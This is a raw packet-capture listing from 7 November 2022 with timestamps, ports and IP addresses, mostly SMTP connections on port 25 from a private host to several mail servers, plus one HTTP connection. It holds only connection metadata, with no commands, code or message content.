Nov 7, 2022 22:24:22.596730947 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596755981 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596781969 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596808910 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596834898 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596860886 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596888065 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.596993923 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597023010 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597048998 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597074986 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597103119 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597152948 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597183943 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597208977 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597278118 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597313881 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597348928 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597373962 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597431898 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597459078 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597501040 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.597536087 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597672939 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597700119 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597873926 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597903013 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597929001 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.597954035 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598037004 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598066092 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598092079 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598159075 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598186970 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598278046 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598398924 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598426104 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598594904 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598627090 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598664045 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598699093 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598818064 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598845959 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598891020 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598926067 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.598953009 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599025965 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599055052 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599081993 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599107981 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599134922 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599159956 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599186897 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599214077 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599242926 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599278927 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599308968 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599334955 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599360943 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599385977 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599414110 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599440098 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599467993 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599493027 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599519968 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599545956 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599570990 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599596024 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599622011 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599647999 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599674940 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599704027 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599731922 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599749088 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599775076 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599802017 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599828005 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599845886 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599874020 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599900961 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599926949 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599953890 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.599980116 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.600004911 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.600035906 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.600061893 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.600079060 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.600106955 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.611922979 CET	25	49716	198.252.153.129	192.168.2.5
Nov 7, 2022 22:24:22.628746986 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.640858889 CET	25	49718	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.715699911 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.732573032 CET	49716	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:22.832428932 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:22.863677979 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:22.886506081 CET	25	49720	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.028153896 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.121783972 CET	49698	25	192.168.2.5	85.187.148.2
Nov 7, 2022 22:24:23.220338106 CET	25	49719	217.69.139.150	192.168.2.5
Nov 7, 2022 22:24:23.324953079 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:23.331705093 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.332335949 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.332971096 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.366341114 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.366477013 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.385863066 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.385976076 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.386003017 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.386090040 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.409003019 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.415539980 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.440907001 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.442250013 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.449379921 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.457700968 CET	49714	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:23.457789898 CET	49718	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.457818031 CET	49719	25	192.168.2.5	217.69.139.150
Nov 7, 2022 22:24:23.457855940 CET	49720	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.457894087 CET	49716	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:24:23.460118055 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.493326902 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.493370056 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.493381023 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.532354116 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.535021067 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.547064066 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.547660112 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.550569057 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.550717115 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.587014914 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.587049007 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.587090015 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.626351118 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.641307116 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.641639948 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.685631037 CET	49724	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.685682058 CET	49723	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:23.746932030 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.746972084 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.747428894 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.748003960 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.749546051 CET	49729	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:23.780841112 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.789140940 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.789355040 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.793168068 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.826524019 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.826603889 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.826630116 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.826642990 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.826654911 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.826678991 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.826679945 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.826699018 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.826738119 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.826755047 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.826766014 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.832232952 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.832341909 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.860131979 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860160112 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860172987 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860186100 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860198021 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860209942 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860224009 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860227108 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.860236883 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860249996 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860264063 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860275984 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860285044 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.860287905 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860285044 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.860301971 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860313892 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.860315084 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860313892 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.860313892 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.860313892 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.860328913 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860341072 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860353947 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.860356092 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.860385895 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.860385895 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.860409021 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.865672112 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.865699053 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.865747929 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.865781069 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.893714905 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893747091 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893764973 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893785000 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893804073 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893821001 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893837929 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893856049 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893877029 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893878937 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.893894911 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893923044 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893935919 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.893942118 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893958092 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.893958092 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.893965006 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.893974066 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.893985033 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894015074 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894015074 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894015074 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894036055 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894048929 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894062996 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894085884 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894110918 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894114017 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894138098 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894145966 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894164085 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894186974 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894192934 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894205093 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894212008 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894232035 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894251108 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894275904 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894287109 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894299030 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894320965 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894328117 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894341946 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894364119 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894366026 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894387007 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894411087 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894419909 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894435883 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894439936 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894459009 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894464970 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894486904 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894494057 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894510984 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.894517899 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894539118 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.894566059 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.899056911 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.899096012 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.899121046 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.899147987 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.899178028 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.899178028 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.899233103 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.899233103 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.913403034 CET	25	49724	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.917846918 CET	25	49723	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:23.922930002 CET	80	49729	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:23.923037052 CET	49729	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:23.927920103 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.927990913 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928541899 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928558111 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928570986 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928586006 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928599119 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928610086 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928622007 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928634882 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928634882 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928647041 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928659916 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928673029 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928678036 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928684950 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928698063 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928710938 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928719997 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928723097 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928736925 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928749084 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928750992 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928761959 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928775072 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928776026 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928787947 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928801060 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928801060 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928813934 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928826094 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928838968 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928850889 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928863049 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928864002 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928863049 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928877115 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928889990 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928900957 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928904057 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928915977 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928929090 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928930044 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928941011 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928953886 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928966999 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928975105 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928975105 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.928991079 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.928999901 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.929003954 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929017067 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929018974 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.929030895 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929042101 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929054976 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929054976 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.929066896 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929080009 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929081917 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.929091930 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929155111 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.929158926 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929176092 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929181099 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.929188013 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929200888 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929214001 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929218054 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.929225922 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929240942 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929274082 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.929277897 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929274082 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.929307938 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.929330111 CET	49725	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:23.929331064 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929367065 CET	25	49725	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:23.929389000 CET	49725	25	192.168.2.5	142.250.147.27
